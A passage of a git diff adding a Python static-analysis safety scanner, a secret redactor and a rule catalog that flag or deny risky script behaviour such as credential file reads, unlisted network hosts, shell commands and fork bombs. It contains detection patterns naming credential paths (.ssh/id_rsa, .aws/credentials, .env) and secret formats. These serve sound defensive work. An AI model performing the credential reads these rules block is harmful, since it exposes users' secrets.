+ loc=_loc(node), + target=target, + kind=kind, + explicit=explicit, + )) + + def _handle_pathlib_read(self, node: ast.Call) -> None: + """Handle ``Path(...).read_text()`` / ``read_bytes()``.""" + + target = "" + explicit = True + # The receiver (Path(...) call) holds the path argument. + receiver = node.func.value if isinstance(node.func, ast.Attribute) else None + # Resolve name aliases: ``path = Path(...) / ".ssh" / "id_rsa"`` + # then ``path.read_text()``. + if isinstance(receiver, ast.Name) and receiver.id in self._path_aliases: + receiver = self._path_aliases[receiver.id] + path_arg: ast.AST | None = None + if isinstance(receiver, ast.Call): + path_arg = _first_arg(receiver) + # Also collect any "/..." BinOp chain so we can see the full path + extra = self._collect_path_chain(receiver) + if extra: + target = extra + elif isinstance(receiver, ast.Constant) and isinstance(receiver.value, str): + path_arg = receiver + target = receiver.value + elif isinstance(receiver, ast.JoinedStr): + path_arg = receiver + elif isinstance(receiver, ast.BinOp): + target = self._collect_path_chain(receiver) or "" + if not target and path_arg is not None: + target = _const_str(path_arg) or _format_string(path_arg) or "" + if not target: + explicit = False + target = "" + elif "{dynamic}" in target or "" in target: + # Even partial dynamic paths can carry credential markers. + kind = self._credential_kind_for_str(target) + if not kind: + explicit = False + target = "" + kind = self._credential_kind_for_str(target) or "regular" + if target.lower().endswith(".env") or ".env" in target.lower(): + kind = "dotenv" + self.file_reads.append(FileReadFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target, + kind=kind, + explicit=explicit, + )) + + def _collect_path_chain(self, node: ast.AST) -> str: + """Flatten ``Path(a) / "b" / "c"`` into ``/b/c``.""" + + parts: list[str] = [] + self._walk_path_chain(node, parts) + if not parts: + return "" + return "/".join(parts) + + def _walk_path_chain(self, node: ast.AST | None, + parts: list[str]) -> None: + if node is None: + return + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + self._walk_path_chain(node.left, parts) + self._walk_path_chain(node.right, parts) + return + if isinstance(node, ast.Call): + canonical = self._canonical_name(node.func) + if canonical in {"pathlib.Path", "Path", "PosixPath", + "pathlib.PurePath", "pathlib.PurePosixPath"}: + if node.args: + arg_text = _const_str(node.args[0]) \ + or _format_string(node.args[0]) + parts.append(arg_text or "") + return + if isinstance(node, ast.Constant) and isinstance(node.value, str): + parts.append(node.value) + return + if isinstance(node, ast.Name): + alias = self._path_aliases.get(node.id) + if alias is not None: + self._walk_path_chain(alias, parts) + return + parts.append("") + return + parts.append("") + + def _credential_kind_for_str(self, target: str) -> str | None: + if not target: + return None + lowered = target.lower() + if ".ssh" in lowered or "id_rsa" in lowered or "id_ecdsa" in lowered \ + or "id_ed25519" in lowered: + return "credential" + if "credentials" in lowered or ".netrc" in lowered \ + or "kubeconfig" in lowered or ".aws/credentials" in lowered: + return "credential" + if lowered.endswith(".pem") or lowered.endswith(".key") \ + or lowered.endswith(".p12") or lowered.endswith(".pfx"): + return "credential" + return None + + # ----- network ----- # + + def _handle_network_call(self, node: ast.Call, canonical: str) -> bool: + parts = canonical.split(".") + if len(parts) >= 2: + lib = ".".join(parts[:-1]) + method = parts[-1] + else: + lib = canonical + method = "" + if lib not in _NETWORK_LIBS and canonical not in _NETWORK_LIBS: + return False + library_name = lib if lib in _NETWORK_LIBS else canonical + allowed_methods = _NETWORK_LIBS.get(library_name, ()) + if allowed_methods and method not in allowed_methods and canonical not in _NETWORK_LIBS: + return False + target, dynamic = self._extract_network_target(node) + if target is None and not dynamic: + # Couldn't find a literal and not flagged dynamic -- still + # record as dynamic so the call doesn't disappear silently. + dynamic = True + self.network_calls.append(NetworkFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + target=target or "", + library=library_name, + dynamic=dynamic, + )) + # Secret flow: tainted value flows into params/data/headers. + if self._tainted_flows_into_call(node): + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=canonical, + sink_kind="network", + )) + return True + + def _extract_network_target(self, node: ast.Call) -> tuple[str | None, bool]: + # Look for the first string-like argument or url= keyword. + candidates: list[ast.AST] = list(node.args) + for kw in node.keywords: + if kw.arg in {"url", "uri", "host", "address", "address_tuple"}: + candidates.insert(0, kw.value) + for cand in candidates: + text = _format_string(cand) + if text is not None: + if "{dynamic}" in text: + # If the dynamic part is only in the path/query, we + # can still extract the host from the prefix. + host = _host_from_url(text.replace("{dynamic}", "")) + if host and not _looks_dynamic_host(host): + return (host, False) + return (None, True) + host = _host_from_url(text) + if host: + return (host, False) + else: + return (None, True) + return (None, True) + + # ----- process / subprocess ----- # + + def _handle_process_call(self, node: ast.Call, canonical: str) -> bool: + if canonical in {"subprocess.run", "subprocess.Popen", + "subprocess.call", "subprocess.check_call", + "subprocess.check_output"}: + self._record_subprocess(node, canonical) + return True + if canonical in {"os.system", "os.popen"}: + self._record_system_call(node, canonical, shell=True) + return True + if canonical == "pty.spawn": + self._record_system_call(node, canonical, shell=True) + return True + return False + + def _record_subprocess(self, node: ast.Call, canonical: str) -> None: + shell = False + for kw in node.keywords: + if kw.arg == "shell" and isinstance(kw.value, ast.Constant): + shell = bool(kw.value.value) + command_str, has_operators, dynamic = self._subprocess_command(node) + self.process_calls.append(ProcessFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + command=command_str, + shell=shell if shell else None, + has_operators=has_operators, + )) + # Privilege / dependency inspection + self._maybe_record_special_command(command_str, node, dynamic) + if shell: + self.shell_operators.append(ShellOperatorFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + operator="shell=True", + )) + if self._tainted_flows_into_call(node): + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=canonical, + sink_kind="subprocess", + )) + + def _record_system_call(self, node: ast.Call, canonical: str, + *, shell: bool) -> None: + command_str, has_operators, dynamic = self._subprocess_command(node) + self.process_calls.append(ProcessFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + command=command_str, + shell=shell, + has_operators=has_operators, + )) + self._maybe_record_special_command(command_str, node, dynamic) + if has_operators: + for op in _SHELL_OPERATORS_IN(command_str): + self.shell_operators.append(ShellOperatorFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + operator=op, + )) + if self._tainted_flows_into_call(node): + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=canonical, + sink_kind="subprocess", + )) + + def _subprocess_command(self, node: ast.Call) -> tuple[str, bool, bool]: + """Return (command_text, has_shell_operators, dynamic).""" + + if not node.args: + return ("", False, True) + first = node.args[0] + # subprocess.run(["ls", "-l"]) -- list form + if isinstance(first, ast.List): + tokens = [] + for item in first.elts: + text = _const_str(item) + if text is None: + return (" ".join(tokens), False, True) + tokens.append(text) + return (" ".join(tokens), False, False) + if isinstance(first, ast.Constant) and isinstance(first.value, str): + return (first.value, bool(_SHELL_OPERATORS_IN(first.value)), False) + # Dynamic construction + return ("", False, True) + + def _maybe_record_special_command(self, command_str: str, + node: ast.Call, + dynamic: bool) -> None: + if dynamic or not command_str: + return + tokens = command_str.split() + if not tokens: + return + executable = tokens[0].lower() + if executable in _PRIVILEGE_COMMANDS: + self.privilege_commands.append(PrivilegeFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + command=executable, + )) + # pip install / npm install / apt install / ... + if executable in _PACKAGE_MANAGERS: + install_subcommands = _PACKAGE_MANAGERS[executable] + if executable == "python" and "-m" in tokens: + idx = tokens.index("-m") + 1 if "-m" in tokens else -1 + if idx > 0 and idx < len(tokens) \ + and tokens[idx] in {"pip", "pip3"} \ + and idx + 1 < len(tokens) \ + and tokens[idx + 1] == "install": + self.dependency_installs.append(DependencyInstallFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + manager=tokens[idx], + command=" ".join(tokens[idx:]), + )) + return + if install_subcommands and len(tokens) >= 2 \ + and tokens[1] in install_subcommands: + self.dependency_installs.append(DependencyInstallFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + manager=executable, + command=command_str, + )) + + # ----- sleep ----- # + + def _handle_sleep(self, node: ast.Call) -> None: + duration: float | None = None + raw = "" + if node.args: + arg = node.args[0] + if isinstance(arg, ast.Constant) and isinstance(arg.value, (int, float)): + duration = float(arg.value) + raw = str(arg.value) + else: + raw = _src_segment(self.source, arg) + self.long_sleeps.append(LongSleepFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + duration_seconds=duration, + raw=raw, + )) + + # ----- concurrency ----- # + + def _handle_concurrency_call(self, node: ast.Call, canonical: str) -> bool: + if canonical in {"multiprocessing.Process", + "multiprocessing.Pool", + "concurrent.futures.ThreadPoolExecutor", + "concurrent.futures.ProcessPoolExecutor", + "threading.Thread"}: + count = self._static_thread_count(node) + self.concurrency.append(ConcurrencyFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + count=count, + raw=canonical, + )) + return True + if canonical == "os.fork": + self.fork_bombs.append(ForkBombFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + pattern="os.fork", + )) + return True + return False + + def _static_thread_count(self, node: ast.Call) -> int | None: + for kw in node.keywords: + if kw.arg in {"max_workers", "processes", "threads", "n"}: + if isinstance(kw.value, ast.Constant) \ + and isinstance(kw.value.value, int): + return kw.value.value + return None + + # ----- sinks ----- # + + def _handle_sink_call(self, node: ast.Call, canonical: str) -> None: + sink_kind: str | None = None + sink_name: str | None = None + if canonical in {"print", "pprint.pprint", "pprint.pp"}: + sink_kind = "output" + sink_name = canonical + elif canonical.startswith("logging.") or canonical in { + "logger.info", "logger.debug", "logger.warning", + "logger.error", "logger.critical", "logger.log", + "logger.exception"}: + sink_kind = "output" + sink_name = canonical + elif canonical in {"open", "io.open", "codecs.open", + "pathlib.Path.open", + "pathlib.Path.write_text", + "pathlib.Path.write_bytes"}: + sink_kind = "file" + sink_name = canonical + # Detect calls on a local variable named ``logger``/``log`` whose + # method is a known logging primitive. + if sink_kind is None and isinstance(node.func, ast.Attribute): + method = node.func.attr + if method in {"info", "debug", "warning", "warn", + "error", "critical", "exception", "log"}: + if isinstance(node.func.value, ast.Name) \ + and node.func.value.id.lower() in {"log", "logger", + "logging"}: + sink_kind = "output" + sink_name = f"log.{method}" + if sink_kind is None: + return + if not self._tainted_flows_into_call(node): + return + # Also check large constant writes to file + if sink_kind == "file": + size = self._static_size(node.args[-1] if node.args else None) + if size is not None and size > 0: + target = _const_str(node.args[0]) if node.args else "" or "" + self.large_writes.append(LargeWriteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + size=size, + target=target, + raw=canonical, + )) + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=sink_name or canonical, + sink_kind=sink_kind, # type: ignore[arg-type] + )) + + # ----- loops ----- # + + def _visit_loop(self, node: ast.AST) -> None: + if isinstance(node, ast.While): + test = node.test + if isinstance(test, ast.Constant) and test.value is True: + # while True with no break -> unbounded + if not _has_break(node): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind="while-True", + )) + return + if isinstance(test, ast.Name) and test.id == "True": + if not _has_break(node): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind="while-True-name", + )) + elif isinstance(node, ast.For): + iter_node = node.iter + if isinstance(iter_node, ast.Call): + target_name = self._canonical_name(iter_node.func) + if target_name in {"itertools.cycle", "iter"} \ + and not _has_break(node): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind=target_name, + )) + + # ----- helpers ----- # + + def _canonical_name(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return self._alias_to_canonical.get(node.id, node.id) + if isinstance(node, ast.Attribute): + base = self._canonical_name(node.value) + if not base: + return node.attr + return f"{base}.{node.attr}" + return "" + + def _name_of(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return node.id + return "" + + def _tainted_flows_into_call(self, node: ast.Call) -> bool: + for arg in list(node.args) + [kw.value for kw in node.keywords]: + if self._expr_tainted(arg): + return True + return False + + def _expr_tainted(self, node: ast.AST) -> bool: + if isinstance(node, ast.Name): + return node.id in self._tainted + if isinstance(node, ast.JoinedStr): + return any(self._expr_tainted(v) for v in node.values) + if isinstance(node, ast.FormattedValue): + return self._expr_tainted(node.value) + if isinstance(node, ast.BinOp): + return self._expr_tainted(node.left) \ + or self._expr_tainted(node.right) + if isinstance(node, (ast.List, ast.Tuple, ast.Set)): + return any(self._expr_tainted(e) for e in node.elts) + if isinstance(node, ast.Dict): + return any(self._expr_tainted(v) for v in node.values + if v is not None) + if isinstance(node, ast.Call): + # open() etc + return any(self._expr_tainted(a) for a in node.args) + return False + + def _static_size(self, node: ast.AST | None) -> int | None: + if node is None: + return None + if isinstance(node, ast.Constant) and isinstance(node.value, (bytes, str)): + return len(node.value) + if isinstance(node, ast.JoinedStr): + total = 0 + for value in node.values: + size = self._static_size(value) + if size is None: + return None + total += size + return total + if isinstance(node, ast.FormattedValue): + return None + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): + left = self._static_size(node.left) + right = self._static_size(node.right) + if left is None or right is None: + return None + return left + right + return None + + def _facts(self) -> ScriptFacts: + return ScriptFacts( + language=ScriptLanguage.PYTHON, + file_deletes=tuple(self.file_deletes), + file_writes=tuple(self.file_writes), + file_reads=tuple(self.file_reads), + network_calls=tuple(self.network_calls), + process_calls=tuple(self.process_calls), + shell_operators=tuple(self.shell_operators), + privilege_commands=tuple(self.privilege_commands), + dependency_installs=tuple(self.dependency_installs), + unbounded_loops=tuple(self.unbounded_loops), + fork_bombs=tuple(self.fork_bombs), + long_sleeps=tuple(self.long_sleeps), + concurrency=tuple(self.concurrency), + large_writes=tuple(self.large_writes), + secret_flows=tuple(self.secret_flows), + dynamic_execs=tuple(self.dynamic_execs), + parse_errors=tuple(self.parse_errors), + ) + + +# --------------------------------------------------------------------------- # +# Module-level helpers +# --------------------------------------------------------------------------- # + +def _first_arg(call: ast.Call) -> ast.AST | None: + return call.args[0] if call.args else None + + +def _has_break(node: ast.AST) -> bool: + for inner in ast.walk(node): + if isinstance(inner, ast.Break): + return True + return False + + +def _host_from_url(text: str) -> str: + if "://" in text: + text = text.split("://", 1)[1] + if "@" in text: + text = text.rsplit("@", 1)[1] + if "/" in text: + text = text.split("/", 1)[0] + if ":" in text: + text = text.split(":", 1)[0] + return text.lower().strip().rstrip(".") + + +def _looks_dynamic_host(host: str) -> bool: + """Heuristic: True if the host text contains interpolation artifacts.""" + + if not host: + return True + return any(ch in host for ch in "{}$") + + +def _SHELL_OPERATORS_IN(text: str) -> list[str]: + hits: list[str] = [] + for op in ("&&", "||", "|", ";", "`", "$(", "&"): + if op in text: + hits.append(op) + return hits + + +# --------------------------------------------------------------------------- # +# Rule wrapper +# --------------------------------------------------------------------------- # + +class PythonScannerRule(_LanguageScannerRule, SafetyRule): + """Rule that runs the Python scanner once and evaluates the catalog.""" + + rule_id = "python_scanner" + + def __init__(self) -> None: + super().__init__(ScriptLanguage.PYTHON) + + def _extract(self, request) -> ScriptFacts: # type: ignore[override] + scanner = _PythonScanner(request.script) + scanner.parse() + return scanner.scan() + + +def scan_python(source: str) -> ScriptFacts: + """Public entry for tests that want raw facts.""" + + scanner = _PythonScanner(source) + scanner.parse() + return scanner.scan() diff --git a/tool/safety/_redaction.py b/tool/safety/_redaction.py new file mode 100644 index 00000000..851f6167 --- /dev/null +++ b/tool/safety/_redaction.py @@ -0,0 +1,152 @@ +"""Redaction of secrets, env values, and oversized evidence. + +Redaction runs before any serialization (report JSON, audit JSONL, span +attributes, structured log fields). The redactor is registered with the +known environment values upfront so subsequent calls are O(snippets). +""" + +from __future__ import annotations + +import hashlib +import re +from typing import Iterable + +from tool.safety._models import EVIDENCE_MAX_CHARS, Evidence, ScriptLanguage + +# Patterns for common secret formats. Order matters: longer/more specific +# patterns first so their redaction wins over generic ones. +_SECRET_PATTERNS: tuple[tuple[str, re.Pattern[str]], ...] = ( + ("private_key_block", re.compile( + r"-----BEGIN (?:RSA |EC |OPENSSH |PGP |DSA )?PRIVATE KEY-----" + r".*?-----END (?:RSA |EC |OPENSSH |PGP |DSA )?PRIVATE KEY-----", + re.DOTALL | re.IGNORECASE, + )), + ("bearer_token", re.compile( + r"\b(?:Bearer|Token)\s+[A-Za-z0-9._\-+/=]{8,}", re.IGNORECASE, + )), + ("api_key_slash", re.compile( + r"\bsk-[A-Za-z0-9]{16,}\b", + )), + ("aws_access_key", re.compile( + r"\bAKIA[0-9A-Z]{16}\b", + )), + ("aws_secret_key", re.compile( + r"\b(?:aws_|aws_secret_access_key\s*[:=]\s*)[A-Za-z0-9/+=]{40}\b", + re.IGNORECASE, + )), + ("jwt", re.compile( + r"\beyJ[A-Za-z0-9_\-]{8,}\.[A-Za-z0-9_\-]{8,}\.[A-Za-z0-9_\-]{8,}\b", + )), + ("github_token", re.compile( + r"\b(?:gh[ps]_|github_pat_)[A-Za-z0-9]{16,}\b", + )), + ("generic_password_assign", re.compile( + r"(?Ppassword|passwd|pwd|secret|api[_-]?key|access[_-]?token)" + r"\s*[:=]\s*[\"\']?" + r"(?P[^\"\'\s,;)}\]]{4,})", + re.IGNORECASE, + )), + ("hex_secret_32", re.compile( + r"\b[0-9a-fA-F]{32,64}\b", + )), +) + +_PLACEHOLDER = "" +_ENV_PLACEHOLDER = "" + + +def _digest(value: str) -> str: + return hashlib.sha256(value.encode("utf-8", errors="ignore")).hexdigest()[:8] + + +class Redactor: + """Stateful redactor that knows the request's env values. + + The redactor never persists raw secrets: env values are hashed into a + short digest so audit logs can correlate "same value" without learning + the value itself. + """ + + def __init__(self, env_values: Iterable[str] = (), *, + evidence_max_chars: int = EVIDENCE_MAX_CHARS) -> None: + self._evidence_max_chars = max(0, evidence_max_chars) + # Sort longer first so we replace the longest secrets before shorter + # substrings of the same value can match. + values = sorted({v for v in env_values if v}, key=len, reverse=True) + self._env_values = values + self._active = bool(values) + + @property + def active(self) -> bool: + """Whether any env values were registered for redaction.""" + + return self._active + + def redact(self, text: str) -> str: + """Return a redacted copy of ``text``.""" + + if not text: + return text + redacted = text + for value in self._env_values: + if value and value in redacted: + placeholder = _ENV_PLACEHOLDER.format(digest=_digest(value)) + redacted = redacted.replace(value, placeholder) + for kind, pattern in _SECRET_PATTERNS: + redacted = _apply_pattern(redacted, kind, pattern) + return redacted + + def truncate(self, text: str) -> str: + """Bound the text length, keeping head and tail with a marker.""" + + if len(text) <= self._evidence_max_chars: + return text + if self._evidence_max_chars <= 16: + return text[: self._evidence_max_chars] + keep = self._evidence_max_chars - 5 + head = keep // 2 + tail = keep - head + return f"{text[:head]}…<+{len(text) - keep}>…{text[-tail:]}" + + def build_evidence( + self, + *, + snippet: str, + line: int = 0, + column: int = 0, + language: ScriptLanguage = ScriptLanguage.UNKNOWN, + extras: dict[str, str] | None = None, + ) -> Evidence: + """Build a fully redacted, bounded :class:`Evidence`.""" + + clean_extras = {k: self.truncate(self.redact(str(v))) + for k, v in (extras or {}).items()} + return Evidence( + snippet=self.truncate(self.redact(snippet)), + line=max(0, int(line or 0)), + column=max(0, int(column or 0)), + language=language, + extras=tuple(clean_extras.items()) and dict(clean_extras) or {}, + ) + + +def _apply_pattern(text: str, kind: str, pattern: re.Pattern[str]) -> str: + def _sub(match: re.Match[str]) -> str: + if "value" in match.groupdict(): + value = match.group("value") + key = match.groupdict().get("key", kind) + placeholder = _PLACEHOLDER.format( + kind=key.lower() if isinstance(key, str) else kind, + digest=_digest(value), + ) + return match.group(0).replace(value, placeholder) + placeholder = _PLACEHOLDER.format(kind=kind, digest=_digest(match.group(0))) + return placeholder + + return pattern.sub(_sub, text) + + +def make_default_redactor(env_values: Iterable[str] = ()) -> Redactor: + """Convenience constructor used by the guard.""" + + return Redactor(env_values) diff --git a/tool/safety/_rules.py b/tool/safety/_rules.py new file mode 100644 index 00000000..d2f8978a --- /dev/null +++ b/tool/safety/_rules.py @@ -0,0 +1,1010 @@ +"""SafetyRule protocol, default rule catalog, and registry. + +Rules are deliberately grouped into three substantial rule objects +(``PythonScannerRule``, ``BashScannerRule``, ``CrossFieldScannerRule``) +so each scanner parses its input once and the rule catalog consumes the +resulting :class:`ScriptFacts` without re-walking the source. + +Per-rule action overrides come from the policy (``rule_overrides``) and +are applied at finding construction time so the catalog stays declarative. +""" + +from __future__ import annotations + +from typing import Iterable, Protocol, Sequence, runtime_checkable + +from tool.safety._facts import ( + ConcurrencyFact, + DependencyInstallFact, + DynamicExecFact, + FileDeleteFact, + FileReadFact, + FileWriteFact, + ForkBombFact, + LargeWriteFact, + LongSleepFact, + NetworkFact, + ParseErrorFact, + PrivilegeFact, + ProcessFact, + ScriptFacts, + SecretFlowFact, + ShellOperatorFact, + UnboundedLoopFact, +) +from tool.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyScanRequest, + ScriptLanguage, +) +from tool.safety._policy import ( + ToolSafetyPolicy, + match_domain, + match_path_glob, +) +from tool.safety._redaction import Redactor + + +@runtime_checkable +class SafetyRule(Protocol): + """A rule consumes a request and policy and emits findings. + + Rules must not perform file I/O, network access, or process creation. + They are pure functions over their inputs. + """ + + rule_id: str + + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: ... + + +# --------------------------------------------------------------------------- # +# Decision override helper +# --------------------------------------------------------------------------- # + +def resolve_decision( + rule_id: str, + proposed: SafetyDecision, + policy: ToolSafetyPolicy, +) -> SafetyDecision: + """Apply ``rule_overrides`` and the unknown-construct default. + + ``rule_overrides`` wins when set; otherwise the proposed decision is + returned unchanged. + """ + + override = policy.rule_overrides.get(rule_id) + if override == "allow": + return SafetyDecision.ALLOW + if override == "needs_human_review": + return SafetyDecision.NEEDS_HUMAN_REVIEW + if override == "deny": + return SafetyDecision.DENY + return proposed + + +def _default_unknown(policy: ToolSafetyPolicy) -> SafetyDecision: + mapping = { + "allow": SafetyDecision.ALLOW, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + "deny": SafetyDecision.DENY, + } + return mapping.get(policy.defaults.unknown_construct, + SafetyDecision.NEEDS_HUMAN_REVIEW) + + +# --------------------------------------------------------------------------- # +# Catalog: one checker per rule id +# --------------------------------------------------------------------------- # + +def _finding( + *, + rule_id: str, + category: RiskCategory, + risk: RiskLevel, + decision: SafetyDecision, + snippet: str, + line: int = 0, + column: int = 0, + language: ScriptLanguage, + redactor: Redactor, + recommendation: str, + extras: dict[str, str] | None = None, +) -> SafetyFinding: + evidence = redactor.build_evidence( + snippet=snippet, + line=line, + column=column, + language=language, + extras=extras, + ) + return SafetyFinding( + rule_id=rule_id, + category=category, + risk_level=risk, + decision=decision, + evidence=evidence, + recommendation=recommendation, + ) + + +def check_file_recursive_delete( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_deletes: + if not fact.recursive: + continue + decision = resolve_decision( + "FILE001_RECURSIVE_DELETE", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE001_RECURSIVE_DELETE", + category=RiskCategory.FILE, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Avoid recursive delete; require explicit file list.", + extras={"target": fact.target, "explicit": str(fact.explicit)}, + )) + return out + + +def check_file_denied_write( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_writes: + if not fact.explicit: + # Dynamic target -- escalate to review, then check deny list. + if not _matches_denied_path(fact.target, policy): + decision = resolve_decision( + "FILE002_DENIED_WRITE", + _default_unknown(policy), + policy, + ) + if decision != SafetyDecision.ALLOW: + out.append(_finding( + rule_id="FILE002_DENIED_WRITE", + category=RiskCategory.FILE, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Static target could not be resolved; review the write path.", + extras={"target": ""}, + )) + continue + if _matches_denied_path(fact.target, policy): + decision = resolve_decision( + "FILE002_DENIED_WRITE", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE002_DENIED_WRITE", + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Write target is on the denied path list.", + extras={"target": fact.target}, + )) + return out + + +def check_file_credential_read( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_reads: + if fact.kind != "credential": + continue + decision = resolve_decision( + "FILE003_CREDENTIAL_READ", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE003_CREDENTIAL_READ", + category=RiskCategory.FILE, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Reading credentials at runtime is forbidden.", + extras={"target": fact.target}, + )) + return out + + +def check_file_dotenv_read( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_reads: + if fact.kind != "dotenv": + continue + decision = resolve_decision( + "FILE004_DOTENV_READ", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE004_DOTENV_READ", + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Loading .env at runtime can leak secrets; inject via env.", + extras={"target": fact.target}, + )) + return out + + +def check_network_non_allowlist( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + allow = policy.network.allow_domains + for fact in facts.network_calls: + if fact.dynamic or not fact.target: + continue + if match_domain(fact.target, allow): + continue + decision = resolve_decision( + "NET001_DOMAIN_NOT_ALLOWED", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="NET001_DOMAIN_NOT_ALLOWED", + category=RiskCategory.NETWORK, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Host is not on the allow list; add it explicitly.", + extras={"host": fact.target, "library": fact.library}, + )) + return out + + +def check_network_dynamic_target( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.network_calls: + if not fact.dynamic: + continue + decision = resolve_decision( + "NET002_DYNAMIC_TARGET", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="NET002_DYNAMIC_TARGET", + category=RiskCategory.NETWORK, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Network target is computed at runtime; review before executing.", + extras={"library": fact.library}, + )) + return out + + +def check_process_exec( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + allow = policy.commands.allow + deny = policy.commands.deny + for fact in facts.process_calls: + executable = _first_token(fact.command).lower() + if executable in deny: + decision = resolve_decision( + "PROC001_PROCESS_EXEC", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="PROC001_PROCESS_EXEC", + category=RiskCategory.PROCESS, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Executable is on the deny list.", + extras={"executable": executable}, + )) + continue + # If shell=True, PROC002 handles it. + if fact.shell is True: + continue + # If has operators, PROC003 handles it. + if fact.has_operators: + continue + # Empty/dynamic executable: cannot statically resolve, emit review. + if not executable: + decision = resolve_decision( + "PROC001_PROCESS_EXEC", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PROC001_PROCESS_EXEC", + category=RiskCategory.PROCESS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Process executable is computed at runtime; review before executing.", + extras={"executable": ""}, + )) + continue + # If the command is in user allow list, no finding. + if allow and executable in allow: + continue + # If the command is a known safe read-only command, skip PROC001. + # Other rules (file read, network, secret) still apply. + if executable in _SAFE_BASH_COMMANDS and language == ScriptLanguage.BASH: + continue + # Allow list configured but command not in it -> review. + if allow: + decision = resolve_decision( + "PROC001_PROCESS_EXEC", + SafetyDecision.NEEDS_HUMAN_REVIEW, + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PROC001_PROCESS_EXEC", + category=RiskCategory.PROCESS, + risk=RiskLevel.LOW, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Executable is not on the configured allow list.", + extras={"executable": executable}, + )) + continue + # No allow list configured; trust the safe set + deny list above. + # Other catalog rules still vet file/network/secret behavior. + return out + + +def check_shell_injection( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: 